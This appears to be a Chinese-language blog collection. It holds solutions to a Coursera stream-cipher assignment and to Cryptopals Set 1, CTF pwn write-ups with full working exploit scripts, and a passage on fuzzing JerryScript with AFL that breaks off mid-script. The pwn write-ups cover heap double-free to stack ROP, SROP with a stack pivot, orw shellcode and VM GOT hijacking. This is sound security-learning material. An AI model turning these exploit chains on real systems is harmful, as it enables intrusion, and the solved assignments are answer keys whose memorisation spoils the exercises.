包含关键字 VM 的文章

题目一

地址:https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt

​ 题目使用同一个流密码密钥加密得到 10 个密文,加密方式是逐字节异或,目标是通过这 10 个密文得到密钥以解出第 11 个密文。

​ 已知消息 M、密钥 K,异或加密的过程是

$$ C=M\oplus K $$

得到密文 C。异或是自反的运算,所以解密与加密过程相同

$$ M=C\oplus K $$

​ 对于同一个密钥 K 加密的两个密文 C_1、C_2,如果将两者异或可以得到

$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$

字节流B是两消息逐字节异或结果。

​ 我们首先导入这些密文和加密方法

msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e')
msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f')
msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb')
msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa')
msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070')
msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4')
msg_7 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce')
msg_8 = bytes.fromhex('315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3')
msg_9 = bytes.fromhex('271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027')
msg_10 = bytes.fromhex('466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83')

msg_target = bytes.fromhex('32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904')

msgs = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10]

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

根据前文理论,我们先尝试异或 msg_1msg_2,结果是

b'\x12\x10L\x06\x13NW\t\x14\x0f\x10O\x02R\x1b\n\x04B\x02\x0cM\x07\x0b\x18OH\x15T\x1f\x08\x00HN\x1e\x02A\x06\x1d\x06MT\x0b\n\x02\x02\x10\x19E\x10\x16MO:\x00SC\x00NC\x0e\x1e\x1d\nRF\x12\x17\x1b\x01\x17\x00\x1b\x0eEC\x1c\x0c\x1d\x16\nR\r\x11tN\x19\x06\x1a\x11M\x0eU\x17O\x08NT7\x14\x05\x0b\x17CST\x1bH\x07\x0e\x00\x0eM'

我们不使用十六进制格式输出,是因为需要观察其中有一些大写或小写英文字母。根据题目,明文是 ASCII 英语句子,其中大部分符号都是大小写英文字母和空格。我们需要知道一个特殊的规律

$$ ASCII(大/小写字母)\oplus ASCII(空格)=ASCII(小/大写字母) $$

英文字母的 ASCII 值与空格的 ASCII 值异或得到的 ASCII 值相当于切换原字母的大小写

根据以上规律,我们十个中的一个密文 C,与其余九个密文逐字节异或,得到九个字节流 B_i,观察其中相同索引 j(位置)的字节 b_k,如果这九个字节几乎都是英文字母,那么我们选取的密文 C 的索引 j 处的字节 C[j] 的明文就大概是空格。此时我们有

$$ C[j]\oplus ASCII(空格)=K[j] $$

从而有可能还原出一个字节的密钥。如果密文足够多足够长,重复上述过程可以还原完整的密钥。

key = [0] * len(msg_7) # `msg_7` is the longest ciphertext.

def isalpha(b):
    return (ord('a') <= b <= ord('z')) or (ord('A') <= b <= ord('Z'))

for i, msg_i in enumerate(msgs):
    may_not_space = [0] * len(msg_i) # Count cases when b_k is not alphabetic.
    for j, msg_j in enumerate(msgs):
        if i != j:
            xored = bytesxor(msg_i, msg_j)
            for k, xb in enumerate(xored):
                if (not isalpha(xb)) and xb != 0:
                    may_not_space[k] += 1
    
    for j, may_not in enumerate(may_not_space):
        if may_not <= 2: # If almost all b_k are alphabetic
            key_byte = msg_i[j] ^ ord(' ')
            if key[j] == 0:
                key[j] = key_byte
                continue
            
            if key[j] != key_byte: # Detect contradiction. Do more checks.
                reliable = True
                for m in msgs:
                    if j >= len(m):
                        continue
                    byte = m[j] ^ key_byte
                    if not isalpha(byte) and byte != ord(' '):
                        reliable = False
                        break
                if reliable:
                    key[j] = key_byte

print(f'Recovered key: {key}')
print(f'Target message: {bytesxor(bytes(key), msg_target)}'')
# for msg in msgs:
#     print(bytesxor(msg, bytes(key)))

题目二

地址:https://www.cryptopals.com/sets/1

1. Convert hex to base64

from base64 import b64encode

print(b64encode(bytes.fromhex('49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d')).decode())

2. Fixed XOR

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

print(bytesxor(bytes.fromhex('1c0111001f010100061a024b53535009181c'), bytes.fromhex('686974207468652062756c6c277320657965')).hex())

3. Single-byte XOR cipher

突发奇想,这里我用《动物森友会》给信件评分的算法来判断哪个结果最正确。(还真没毛病

def get_score(message: str) -> int:
    """*Animal Crossing* message scoring algorithm."""
    t = set("abl abo abr abs acc ach acr act add adm adv aer aff afr aft aga age ago ahe air ali all alm alo alr als alt alw am  ame amo and ang ani ano ans any apa app apr are arg arm arr art asi ask asl ate atm att aud aug aut ave avo awa cak cal cam can cap car cas cat cau cen cer cha che chi cho chi chu cir cit cla cle cli clo coa cof coi col com con coo cop cor cos cou cov cow cre cri cro cry cup cur cus cut bab bac bad bag bal ban bas bat be  bea bec bed bee bef beg beh bel bes bet bey bic big bik bil bir bit bla ble blo blu boa bod bon boo bor bot bou box boy bra bre bri bro bui bur bus but buy by  eac ear eas eat edu eff egg eig eit ele els emp end ene eng enj eno ent equ err esp eur eve exa exc exe exp eye dad dai dam dan dar dat dau day dea dec dee def deg del dem den dep des det dev dic did die dif dig din dir dis div do  doc doe dog dol don doo dou dow doz dra dre dri dro dru dry due dur dus dut gai gam gar gas gat gav gen ger get gir giv gla go  god goi gon goo got gov gra gre gro gua gue gui gun fac fai fal fam far fas fat fea feb fed fee fel few fie fif fig fil fin fir fis fiv fix fla fle fli flo fly fol foo for fou fra fre fri fro fru ful fun fut i   ice ide if  ima imm imp in  inc ind inf ins int inv iro is  isl it  its hab had hai hal han hap har has hat hav he  hea hei hel her hi  hid hig hil him hir his hit hol hom hon hop hor hos hot hou how hum hun hur hus kee kep key kic kil kin kit kne kni kno kab kad kai kak kan kar kas kat kau kaw kay kaz kea ked kef keg ken kes ket kev kib kie kif kig kik kim kin kis kit kiv koc kon koo kos kot kou kov kow kun kyi kac kad kag kai kaj kak kan kap kar kat kay ke  kea ked kee kem ken kes ket kid kig kil kin kis kod kom kon koo kor kos kot kou kov kuc kum kus ky  kys kam kar kat kea kec kee kei kev kew kex kic kig kin ko  kob koi kon koo kor kos kot kov kow kum kbj k'c kct kf  kff kft kh  kil kka kld kn  knc kne knl kpe kpi kpp kr  kra krd kth kur kut kve kwn jan jap job joi jud jul jum jun jus qua que qui pac pag pai pap par pas pat pay pea pen peo per pho pic pie pin pip pla ple poc poi pol poo pop pos pot pou pow pra pre pri pro pub pul pup pur pus put sad saf sai sal sam san sat sav saw say sce sch sci sco sea sec see sel sen sep ser set sev sex sha she shi sho shu sic sid sig sil sim sin sis sit six siz ski sky sle sli slo sma sme smi smo sno so  soa soc sof soi sol som son soo sor sou spa spe spi spo spr squ sta ste sti sto str stu sty sub suc sud suf sug sum sun sup sur swa swe swi swu sys rac rad rai ran rap rat rea rec red ref reg rel rem rep req res ret ric rid rig rin ris riv roa roc rod rol roo ros rou row rul run rus una unc und uni unl unt up  upo us  use usu tab tak tal tas tau tax tea tee tel tem ten ter tes tha the thi tho thr thu tic tie til tim tir tit to  tod tog tol tom ton too top tor tot tou tow tra tre tri tro tru try tue tur tv  twe twi two tyi typ val var veg ver vie vil vis voi vol vot vai vak val van var vas vat vav vay ve  vea ved vee vei vel ven ver ves vet vha vhe vhi vho vhy vid vif vil vin vir vis vit viv vok vom von voo vor vou vri vro vma yar yea yel yen yes yet you zer".split())
    s = 0
    if message and message[-1] in '.?!':
        s += 20
    for i, c in enumerate(message):
        if c in '.?!':
            for j in range(i+1, min(i+4, len(message))):
                if message[j].isupper():
                    s += 10
                    break
                elif message[j].isalpha():
                    s -= 10
                    break
    s += sum(3 for w in message.split() if len(cw :=
             ''.join(c for c in w if c.isalpha()).lower()) >= 3 and cw[:3] in t)
    for c in message:
        if not c.isspace():
            s += 20 if c.isupper() else -10
            break
    for i in range(len(message)-2):
        if message[i].isalpha() and message[i] == message[i+1] == message[i+2]:
            s -= 50
            break
    sp, nsp = message.count(' '), len(message) - message.count(' ')
    s += -20 if nsp == 0 or (sp * 100 // nsp if nsp else 0) < 20 else 20
    if len(message) > 75:
        c = 0
        for ch in message:
            c = 0 if ch in '.?!' else c + 1
            if c == 75:
                s -= 150
                break
    s -= sum(20 for i in range(0, len(message), 32)
             if ' ' not in message[i:i+32] and len(message[i:i+32]) == 32)
    return s


cipher = bytes.fromhex(
    '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736')
results = list()
for c in range(256):
    try:
        res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
        results.append((res, get_score(res)))
    except UnicodeDecodeError:
        pass

best = sorted(results, key=lambda x: x[1])[-1][0]
print(best)

# Cooking MC's like a pound of bacon

4. Detect single-character XOR

with open('4.txt', 'r') as file:
    ciphers = file.readlines()

for original_cipher in ciphers:
    results = list()
    cipher = bytes.fromhex(original_cipher)
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((res, get_score(res)))
        except UnicodeDecodeError:
            pass
    if len(results) == 0:
        continue

    best = sorted(results, key=lambda x: x[1])[-1]
    if best[1] > 40:
        print(f'{original_cipher.strip()} -> {best[0]}')

# 7b5a4215415d544115415d5015455447414c155c46155f4058455c5b523f -> Now that the party is jumping

5. Implement repeating-key XOR

def repeating_key_xor_to_hex(msg: bytes, key: bytes) -> str:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars).hex()

print(repeating_key_xor_to_hex(b"Burning 'em, if you ain't quick and nimble", b'ICE'))
print(repeating_key_xor_to_hex(b'I go crazy when I hear a cymbal', b'ICE'))

6. Break repeating-key XOR

一开始没有还原正确,检查了一下发现是 # 扰乱了解密评分。考虑到英文句子里极少有 #,所以遇到就扣 5 分。

from base64 import b64decode


def get_score(message: str):
    score = 0
    for c in message:
        if c.islower():
            score += 3
        if c.isupper():
            score += 1
        if c == ' ':
            score += 1
        if c == '#':
            score -= 5
    return score


def get_key(cipher: bytes) -> int:
    results = list()
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((c, get_score(res)))
        except UnicodeDecodeError:
            pass
    return sorted(results, key=lambda x: x[1])[-1][0]


def repeating_key_xor(msg: bytes, key: bytes) -> bytes:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars)


def normalized_average_hd(data: bytes, unit_len: int) -> float:
    chunks = [data[i:i + unit_len] for i in range(0, len(data), unit_len)]
    num_chunks = len(chunks)
    total_hd = 0
    count = 0
    for i in range(num_chunks):
        for j in range(i + 1, num_chunks):
            if len(chunks[i]) == unit_len and len(chunks[j]) == unit_len:
                total_hd += sum((byte1 ^ byte2).bit_count()
                                for byte1, byte2 in zip(chunks[i], chunks[j]))
                count += 1
    return total_hd / (count * unit_len)


with open('6.txt', 'r') as file:
    cipher = b64decode(file.read())

results = list()
for l in range(2, 41):
    norm_hd = normalized_average_hd(cipher, l)
    results.append((l, norm_hd))
keylens = sorted(results, key=lambda x: x[1])

for k in range(1):
    keylen = keylens[k][0]
    print(f"Guessed key length: {keylen}")

    key_bytes = []
    for i in range(keylen):
        block = bytes([cipher[j * keylen + i]
                      for j in range(len(cipher) // keylen)])
        key_bytes.append(get_key(block))

    key = bytes(key_bytes)
    # print(repeating_key_xor(cipher, key).decode())
    print(f'Key: {key}')

# Guessed key length: 29
# Key: b'Terminator X: Bring the noise'

7. AES in ECB mode

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms

key = b"YELLOW SUBMARINE"
with open('7.txt', 'r') as f:
    encrypted_b64 = f.read()
encrypted_data = base64.b64decode(encrypted_b64)
cipher = Cipher(algorithms.AES(key)) # Default to ECB mode
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

print(decrypted_data.decode())

8. Detect AES in ECB mode

print(max(open('8.txt').read().splitlines(), key=lambda x: len(c:=[x[i:i+32] for i in range(0, len(x), 32)]) - len(set(c))))

malloc

自定义堆内存管理器。

堆块结构:

| Offset | Field          | Description                        |
|---------|----------------|------------------------------------|
| +0      | in_use (1B)    | 1 = allocated, 0 = free            |
| +1..7   | padding        | for 8-byte alignment               |
| +8      | size (4B)      | total size of the chunk            |
| +12..15 | padding        | (align next pointer)               |
| +16     | next (8B)      | pointer to next free chunk         |
| +16     | user data start| returned to caller (malloc result) |

delete 时存在 UAF,且 double free 检测深度只有 13,而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块,修改 next 指针得到任意地址(目标地址 - 16)分配,从而任意地址读写。

泄露 libc、stack 基地址后任意分配到栈上写 ROP,返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用,考虑 orw。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info')
binary = './pwn'
# io = process(binary)
io = connect('45.40.247.139', 18565)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# 0x0f < size <= 0x70
def create(index: int, size: int):
    io.sendlineafter(b'=======================\n', b'1')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))

def delete(index: int):
    io.sendlineafter(b'=======================\n', b'2')
    io.sendlineafter(b'Index\n', itob(index))

def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'=======================\n', b'3')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))
    io.send(content)

def show(index: int):
    io.sendlineafter(b'=======================\n', b'4')
    io.sendlineafter(b'Index\n', itob(index))

def exitit():
    io.sendlineafter(b'=======================\n', b'5')

for i in range(15):
    create(i, 0x10)
for i in range(15):
    delete(i)
delete(0) # double free
show(14) # leak heap (elf)
e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0
print_leaked('elf_base', e.address)
create(0, 0x10)
edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout
for _ in range(16):
    create(1, 0x10)
show(1)
libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780
print_leaked('libc_base', libc.address)

for i in range(15):
    create(i, 0x20)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x20)
edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ
for _ in range(16):
    create(1, 0x20)
show(1)
stack_addr = u64(io.recvline(False).ljust(8, b'\x00'))
print_leaked('stack_addr', stack_addr)

for i in range(15):
    create(i, 0x70)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x70)
edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr
for _ in range(16):
    create(1, 0x70)
# gdb.attach(io, 'b *$rebase(0x18F2)')
edit(0, 0x70, asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_write
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x50
    syscall
"""))
edit(1, 0x70, flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    e.address + 0x5000,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    e.address + 0x56c0
]))

io.interactive()

stack

看起来是堆溢出但其实会栈迁移到堆上,溢出改返回地址爆破 PIE 到 magic。

由于随机数种子来自已知时间,所以可以预测随机数,逆运算得到 PIE 基地址。

最后栈迁移到 bss 段,利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 openexecve 等系统调用,考虑 openat 替代。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './Stack_Over_Flow'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

while True:
    global io, elf_base
    io = connect('45.40.247.139', 30871)
    libc_lib = CDLL('/usr/lib/libc.so.6')
    libc_lib.srand(libc_lib.time(0))
    libc_lib.rand() % 5
    libc_lib.rand() % 5
    key = libc_lib.rand() % 5
    try:
        io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13')
        
        if b'magic' not in io.recvuntil(b':'):
            io.close()
            continue
        e.address = (int(io.recvline(False)) // key) - 0x16b0
        break
    except Exception:
        io.close()
        continue

context.log_level = 'debug'

print_leaked('elf_base', e.address)

syscall = e.address + 0x000000000000134f
fake_stack = e.bss(0x800)

# stack mig
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 0x800
frame.rip = syscall
frame.rsp = fake_stack

# gdb.attach(io, 'b *$rebase(0x16A4)')
io.sendafter(b'luck!\n', flat([
    cyclic(0x100),
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
]))
pause()
io.send(cyclic(0xf))

# mprotect
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = fake_stack & ~0xfff
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = syscall
frame.rsp = fake_stack + 0x200

xor_rax_pop_rbp = e.address + 0x00000000000016a0

payload = flat([
    0,
    xor_rax_pop_rbp,
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
])
payload = payload.ljust(0x200, b'\x00')
payload += flat([
    0,
    fake_stack + 0x300
])
payload = payload.ljust(0x300, b'\x00')
payload += asm("""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    xor rdx, rdx
    xor r10, r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
""")
pause()
io.send(payload)
pause()
io.send(cyclic(0xf))

io.interactive()

mvmps

参考软件系统安全赛 - vm

00000000 struct __attribute__((packed)) __attribute__((aligned(1))) VM // sizeof=0x49
00000000 {
00000000     char *vmcode;
00000008     int pc;
0000000C     int field_C;
00000010     __int64 regs[6];
00000040     int64_t sp;
00000048     BYTE field_48;
00000049 };

SUB SP 时栈指针下溢,PUSH 和 POP 操作变成 ELF 几乎任意地址读写。

不是 PIE,劫持 GOT 即可。读取 read@got 低 4 字节,减去偏移得到 system 地址,将其写回 read@got 低 4 字节,内存中写入 "sh",执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vvmm'
# io = process(binary)
io = connect('45.40.247.139', 15101)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE')

def INST(opcode: int, type: int, *args) -> bytes:
    header = p8(opcode << 2 | type)
    if type == 0:
        return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff)
    if type == 1:
        return header + p8(args[0])
    if type == 2:
        return header + p8(args[0]) + p8(args[1])
    if type == 3:
        return header + p8(args[0]) + p32(args[1])
    raise ValueError("Invalid type.")

io.sendafter(b'Please input your opcodes:\n', b''.join([
    INST(0x24, 0, 0x418), # SUB SP (to read@got)
    INST(0x20, 1, 0), # read from elf (read@got)
    INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system)
    INST(0x1f, 1, 0), # write to elf (system)
    INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh")
    INST(0x25, 0, 0x30), # ADD SP (arbitrary mem)
    INST(0x1f, 1, 1), # write to elf ("sh")
    INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem)
    INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh")
]))

io.interactive()

开始之前

这段时间本来想入门 Chrome V8,学了一段时间发现 V8 还是太吃操作了……感觉应该先了解下比较简单的 JS 引擎。于是想着先从适合嵌入式设备的轻量 JS 引擎 JerryScript 开始玩起。正好看到 JerryScript 的 Issues 有好多关于漏洞的报告(无人在意说是),那就复现一下 fuzzing 漏洞挖掘吧。

源码与编译

git clone https://github.com/jerryscript-project/jerryscript
cd jerryscript
python tools/build.py

编译 JerryScript 还是相当简单的,要想 fuzz 它,我们可以直接让 AFL 将文件作为参数传入然后等待崩溃。但是这样的 fuzz 是没有意义的,因为没有经过 AFL instruction。我们需要使用 afl-clang-lto 作为编译器。有关 AFL 的用法和原理,前人之述备矣,我就不赘述了。

JerryScript 已经在 tools/build.py 为我们准备好了接入 libfuzzer 的编译选项,而 AFL 支持为 libfuzzer sanitized binary 启用 persistent mode。那么就用现成的就好。

CC=afl-clang-lto python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum-conversion' --strip=OFF
CC=afl-clang-lto AFL_LLVM_CMPLOG=1 python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum  
-conversion -fsanitize=address' --strip=OFF

我们需要添加 -Wno-enum-enum-conversion 编译参数来防止高版本 clang 编译不通过。(如果要用高版本 gcc 编译的话,还需要添加 -Wno-unterminated-string-initialization,因为 jerry-core/ecma/builtin-objects/ecma-builtin-helpers-date.c 中的 day_names_pmonth_names_p 没有考虑 C-style 字符串字面量 tailing NULL byte 占用的空间。)

准备初始 corpus

作为实验,我没有考虑太多,选用 test262 作为 JS 样本,去除其中的注释,就直接作为初始 corpus 了。我选用 AFL 作为 fuzzing 引擎。这对于 JS 引擎而言,效果不会好,但本来也只是实验性质的尝试。AFL 在 fuzz 过程中会根据这些文件不断通过各种策略构造新的输入,收集对于每个输入程序执行后的覆盖率,继续构造新的输入。

import os
import shutil
import subprocess

TEST262_REPO = "https://github.com/tc39/test262.git"
CLONE_DIR = "test262"
CORPUS_DIR = "corpus"
NUM_FILES = 100  # Adjust how many files you want

# Directories considered ES5 core tests
ES5_TEST_DIRS = [
    "test/built-ins",
    "test/language",
    "test/statements",
    "test/annexB"
]

def clone_test262():
    if not os.path.exists(CLONE_DIR):
        print("Cloning test262 repo...")
        subprocess.run(["git", "clone", TEST262_REPO], check=True)
    else:
        print("test262 repo already cloned.")

def gather_es5_js_files():
    js_files = []
    for root, _, files in os.walk(CLONE_DIR):
        # Check if the file is inside one of the ES5 directories
        if any(es5_dir in root.replace("\\", "/") for es5_dir in ES5_TEST_DIRS):
            for file in files:
                if file.endswith(".js"):
                    js_files.append(os.path.join(root, file))
    return js_files

def prepare_corpus(js_files):
    os.makedirs(CORPUS_DIR, exist_ok=True)
    selected_files = js_files[:NUM_FILES]
    print(f"Copying {len(selected_files)} files to corpus directory...")
    existing_names = set()

    for path in selected_files:
        filename = os.path.basename(path)
        name, ext = os.path.splitext(filename)

        # Avoid duplicates by renaming with suffix if needed
        original_filename = filename
        suffix = 1
        while filename in existing_names:
            filename = f"{name}_{suffix}{ext}"
            suffix += 1

        existing_names.add(filename)
        shutil.copy(path, os.path.join(CORPUS_DIR, filename))

    print("Corpus preparation complete.")

if __name__ == "__main__":
    clone_test262()
    all_js_files = gather_es5_js_files()
    if len(all_js_files) == 0:
        print("No ES5 JS files found in test262 repo!")
    else:
        prepare_corpus(all_js_files)

fuzzing

afl-fuzz -i input -o output -b 2 -a text -M master -- ./jerry-libfuzzer
AFL_USE_ASAN=1 afl-fuzz -i input -o output -b 4 -a text -S sanitizer -c 0 -l 2AT -P exploit -p exploit -- ./jerry-libfuzzer

很快就发生了 crash。可以看到 AFL 构造的 JS 输入和乱码真的没区别了。也就是说 JerryScript 在语法分析甚至词法分析阶段就可能崩溃,发生段错误。

结果处理

虽然听起来有点离谱,但是挂机一天后 AFL 收集到了 543 个 crashes。但其中大多数都是 null pointer deref。所以我决定简单筛选一下无效的 crashes。使用 Python gdb 模块批量调试 crash inputs,段错误后先提取产生段错误位置的汇编指令,找到解引用 [reg + offset](寄存器间接寻址)处使用的寄存器,然后再让 gdb 查询这个寄存器的值,如果值为很大的数则将这个 input 另存起来。

import gdb
import os
import shlex
import shutil
import re
from pathlib import Path

# ====== Configuration ======
CRASH_DIR = Path("./crashes")
VALID_DIR = Path("./valid")
LOG_DIR = Path("./logs")
MODE = "copy"   # "copy" or "link"
PATTERN = "cafebabe"   # if NOT found in crash bt/output -> save to VALID_DIR
USE_STDIN = False    # If True, run "run < file" to feed the file on stdin
# Note: timeouts are not enforced inside gdb-embedded script; if you need per-run
# timeouts, run gdb under an external timeout wrapper (e.g. GNU timeout) or use
# the external/python+subprocess approach.
# ===========================

CRASH_DIR = CRASH_DIR.resolve()
VALID_DIR = VALID_DIR.resolve()
LOG_DIR = LOG_DIR.resolve()

x86_64_registers = [
    "rax", "rbx", "rcx", "rdx",
    "rsp", "rbp", "rsi", "rdi",
    "r8", "r9", "r10", "r11",
    "r12", "r13", "r14", "r15"
]

for d in (VALID_DIR, LOG_DIR):
    d.mkdir(parents=True, exist_ok=True)

# helper: unique destination path (avoid overwriting)
def unique_dest(dest: Path) -> Path:
    if not dest.exists():
        return dest
    i = 1
    while True:
        candidate = dest.with_name(dest.name + f".{i}")
        if not candidate.exists():
            return candidate
        i += 1

def install_file(src: Path) -> Path:
    dest = VALID_DIR / src.name
    dest = unique_dest(dest)
    if MODE == "link":
        # try symlink to absolute path
        try:
            os.symlink(str(src.resolve()), str(dest))
        except OSError:
